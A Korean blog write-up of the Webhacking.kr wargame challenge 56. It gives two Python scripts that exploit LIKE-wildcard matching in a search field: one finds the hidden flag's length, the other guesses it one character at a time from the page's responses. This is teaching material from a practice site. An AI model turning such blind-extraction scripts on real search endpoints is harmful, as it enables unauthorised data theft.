controlpro
[Webhacking.kr] 56번 본문
728x90
문제를 보면 다음과 같이 나온다. readme를 클릭하면 access denied라고 뜨고 hi~를 클릭하면
다음과 같이 나온다. 사실 search에 무엇을 넣어야할지 몰라서 sql injection을 시도해보다가 flag를 입력해봤는데 원래 반응과 다르게 나왔다.
갑자기 Board에 admin이 써졌다. flag랑 관련이 있구나 싶어서 guest는 hi~파일이 보이니까, guest로 test를 진행했다.
똑같이 hello~라는 것을 보내주면 다음과 같이 나오는데 hello , hell , hel , he , h를 보내도 guest는 항상 Board에 있는 것으로 보아, *붙어서 저 글자가 순서대로 있으면 다 출력을 하는 것 같다. 그러면 아까 flag를 보냈을 때도 이해가 가능하다.
그러면 search에 얼마나 입력을 해야하는 지 결정을 해야하는데, 이는 wildcard를 사용해보기로 했다
와일드카드(wildcard)란 문자열 내에서 임의의 문자나 문자열을 대체하기 위해 사용되는 기호를 의미한다. |
%를 한 4개 정도 넣었을 때도 다음과 같으니까, %의 개수가 문자열의 길이 일 것이다.
import requests
url = "https://webhacking.kr/challenge/web-33/index.php?"
pw = ""
test= "F"
for b in range(100):
print("[+Round 1] :"+str(b))
params = {'search' : '%'*b}
r = requests.post(url=url , data = params)
if('admin' in r.text):
continue
else:
print("Finish")
print(b)
break
코드 돌려주면 45길이라고 나오고, 이제 문자열을 하나하나 추측하면 되겠다.
import requests
url = "https://webhacking.kr/challenge/web-33/index.php?"
pw = ""
test= "F"
for b in range(46):
print("[+Round 1] :"+str(b))
for j in range(33,126):
if j == 37:
continue
params = {'search' : test + chr(j)}
r = requests.post(url=url , data = params)
if('admin' in r.text):
print(chr(j) +"is correct!")
test+= chr(j)
pw= test
print(pw)
break
print(pw)
코드를 돌리면
먼가 43자 밖에 필요한게 없어서 이상하긴 했지만 flag와 마지막_은 _역시 %와 같이 와일드 카드 여서 저게 출력되는 거 같다.
그래서 저 둘을 {}로 바꿔주면 문제 해결!
728x90
반응형
'Webhacking > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] 7번 (0) | 2020.12.29 |
---|---|
[Webhacking.kr] 20번 (0) | 2020.12.29 |
[Webhacking.kr] 21번 blind sql injection (0) | 2020.12.24 |
[Webhacking.kr] 8번 sql injection (0) | 2020.12.22 |
[Webhacking.kr] 38번 log injection (0) | 2020.12.22 |